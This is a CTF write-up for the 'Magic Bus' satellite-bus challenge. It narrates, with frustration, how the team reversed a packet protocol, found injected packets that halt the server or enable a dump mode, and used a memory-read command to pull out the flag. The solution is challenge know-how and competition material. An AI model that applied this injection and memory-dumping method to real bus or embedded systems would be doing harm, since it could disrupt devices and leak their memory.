10
2
Fork 0
has-writeup/satellite-bus/magic-bus/README.md

8.3 KiB

Magic Bus

Category: Satellite Bus Points (final): 91 Solves: 44 (this number taunts me)

Important note: Team BLAHAJ did not solve this problem until after the competition, and it did not count toward our final point total.

There's a very busy bus we've tapped a port onto, surely there is some juicy information hidden in the device memory... somewhere...

Write-up

by hazel (arcetera)

I hate this problem. I hate this problem. I hate this problem. I hate this problem. I literally hate this problem so much. This problem made me cry. I have literally no words to describe the exact extent to which this problem has driven me insane. This problem taunts me in my sleep. This problem taunts me while I am awake. The extent to which I despise this problem is beyond words. I hate this. I hate whoever made this. I want to burn this problem to the ground. This problem has achieved active sentience and holds malice against me and the rest of my team specifically. Had the competition not ended, this problem would hold the rest of the world hostage.

Furthermore, much of this writeup is failed attempts at a solution. Other writeups may be more useful at determining success, despite our team eventually finding a solution.

...anyway...

When netcatting into the server, a series of hex bytes appears. A cursory analysis of these bytes reveals that all packets start with ^ and end with ., aside from lines starting with byte CA. Decoding the data beginning with byte CA reveals some 🧃🧃🧃. This output has \xca\x00 stripped:

b'\xb2M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5'

I prefer water though. #WaterDrinkers

While I was asleep, the rest of the team managed to reverse the protocol to a decent extent. Namely, the format for strings beginning with :\x00\x00> and :\x00\x00? and ending with ? is:

  • \0x000000 (6 bytes)
  • @ or ?
  • A (7 bytes)
  • @ (2 bytes)
  • @ or ?
  • \xc1 (3 bytes)

An example:

b'\x00\x00\x008\x94S@\xc8.@A\x01:\xa0\xc0i\x11\xa1@|.@\xc1\x9b\x1c\xe6?'
: 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ?

The following Python code decodes this packet structure:

def to_hex(b):
    return ':'.join(hex(x)[2:] for x in b)

def decode_pkt(b):
    if len(b) == 0:
        return
    if b[0] == 0xCA:
        pass # raw data?
    elif b[0] == ord(':'):
        if b[3] == ord('>') or b[3] == ord('?'): # > or ?
            field1 = to_hex(b[7:13])  # 6 bytes
            field1end = chr(b[13])    #
            field2 = to_hex(b[15:22]) # 7 bytes
            if b[22] != ord('@'):
                print('b[22] should be @ but is {}'.format(chr(b[22])))
            field3 = to_hex(b[23:25])
            field3end = chr(b[25])
            c1 = b[26]
            field4 = to_hex(b[27:30])
            if b[30] != ord('?'):
                print('b[30] is not ?')
            print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2,
                  field3, field3end, field4))
    elif b[0] == ord(';'):
        print('delimiter') # end of previous packet?
    else:
        print(b[0])
        print('unknown data')
    print('\n')

Noting a delay between packets led me to derive the following packet structure:

  • START packet, which is equal to the preceding END packet
  • ONCE call, which occurs prior to a...
  • ONCE packet
  • JUICY DATA
  • END call
  • END packet, which is equal to the next START packet

This proved to be incorrect, but more on that later.

The following code differentiates between these packets from the netcat, where the variable rawn is the raw byte string:

start = True
while True:
    r.recvuntil('^')
    raw = r.recvuntil('.')
    rawn = bytes([94]) + raw
    print(rawn)
    v = raw.decode().split('+')
    del v[-1]
    h = bytes([int(i, 16) for i in v])
    if h == b';\x00\x00?':
        print("ONCE CALL")
    elif h == b';\x00\x00>':
        print("END CALL")
    elif h.startswith(b':\x00\x00?'):
        print(f"ONCE: {h[4:]}")
    elif h.startswith(b':\x00\x00>'):
        # notable delay between start and end each time
        if start:
            print(f"START: {h[4:]}")
            start = False
        else:
            print("INJECTING")
            r.send(inj)
            print(f"END: {h[4:]}")
            start = True
    elif h.startswith(b'\xca'):
        print(f"JUICE: {h}")
    else:
        print(f"???: {h}")
    
    sys.stdout.flush()

I then noticed that post-text the string \x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6 had the characters { and 6 at the same point as flag{oscar39616kilo, which would correspond to a flag. I graphed this and tried to find a function (or multiple) modeling a relation here, but with R2 being something like 0.39 for every relation I tried, this was extremely unlikely.

We then tried reading the data sequentially from the buffer, from Juicy Data 00 to 04. Here's the entire string:

00000000: 4a75 6963 7920 4461 7461 2030 3000 c8f7  Juicy Data 00...
00000010: eb15 963d 6b70 5cc9 2c5e d5cf 5c31 9919  ...=kp\.,^..\1..
00000020: 779a c6a9 0865 8d55 926a 372c 00ff 23eb  w....e.U.j7,..#.
00000030: 14b9 297f 2985 4856 e31d 2558 58be 59c6  ..).).HV..%XX.Y.
00000040: 4a75 6963 7920 4461 7461 2030 3100 5201  Juicy Data 01.R.
00000050: 1e7b 8147 00c9 9de3 e7c2 2336 817c fcd9  .{.G......#6.|..
00000060: 9b6b 3a1f 68f0 35ce dd77 35ca dc87 ccfa  .k:.h.5..w5.....
00000070: 024d 4102 16df e5fd a108 3322 842f fc1f  .MA.......3"./..
00000080: 4a75 6963 7920 4461 7461 2030 3200 c08f  Juicy Data 02...
00000090: e702 91fd e177 fb82 7f2e a504 5ea1 23f9  .....w......^.#.
000000a0: d762 fcfd d5cd 00c0 d4ce 8661 6847 f14f  .b.........ahG.O
000000b0: 4982 4d2a f948 ac79 7651 7dd4 f2a0 cdc9  I.M*.H.yvQ}.....
000000c0: 4a75 6963 7920 4461 7461 2030 3300 4dae  Juicy Data 03.M.
000000d0: 409a d839 e285 b259 d62f 2dc9 d0fb 92d2  @..9...Y./-.....
000000e0: c459 aa5b 2042 c6b5 6193 b3c6 5001 7590  .Y.[ B..a...P.u.
000000f0: 9b4d ca7e d27c d7a9 ac04 727c ff04 4ec4  .M.~.|....r|..N.
00000100: 4a75 6963 7920 4461 7461 2030 3400 5a83  Juicy Data 04.Z.
00000110: 2524 01f8 a0d8 a14c dc13 c8dc 1717 a075  %$.....L.......u
00000120: 10bf f24b a525 e81e 0c4b e8f3            ...K.%...K..

Unfortunately, nothing meaningful was derived from this. There are a { and } with bytes between them, but they aren't flag length.

I noticed that injecting instructions performed something, but I didn't think it did anything notable. I injected various data at various points, but I never managed to break out at the previous region of memory... which is where gashapwn's incredible work came in.

If the packet ^3b+00+00+00. is sent, the bus stops sending data, which is decidedly confirmation that the server accepts data. Each of the following injects has the same effect:

^3b+00+00+30+.
^3b+00+00+31+.
^3b+00+00+32+.
^3b+00+00+33+.
^3b+00+00+34+.
^3b+00+00+34+.
^3b+00+00+35+.
^3b+00+00+36+.
^3b+00+00+37+.

In practice, only this last packet is needed to shut down the server. Anything of the form of ^3b+00+00+XX+. where XX<38 shuts it down, but only 37 enables dump mode. This can probably be done with a fuzzer. Why has God abandoned us? What accursed malfunction did we do to deserve this fate?

If you send the packet ^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+.....+87+cc+., the same packet is sent back. This means that the juice packets deliminated with \xca are actually instructions.

By playing with the packet, the format appears to go:

  • Byte 0: CA
  • Byte 1-2: Memory offset
  • Byte 3-end: Size of memory to return

...so if we ask for a really large chunk of data, we can get a dump. With the inject:

b"^3b+00+00+37+."
b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+....+00+00+."

we can query for everything in memory. And we did.

Full code

Run it:

 λ has-writeup/satellite-bus/magic-bus python magic-bus.py

....

JUICE: b'.....v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWg.....'

Hey look, a flag!

I hate this problem so much. At the time of me writing this, it's 1:30 AM and I'm sitting in my kitchen on my Lenovo(tm) ThinkPad(tm) T440(tm). I genuinely don't know how this got so many solves. I hate this. Goodnight.

Resources and other writeups

  • God I wish there was any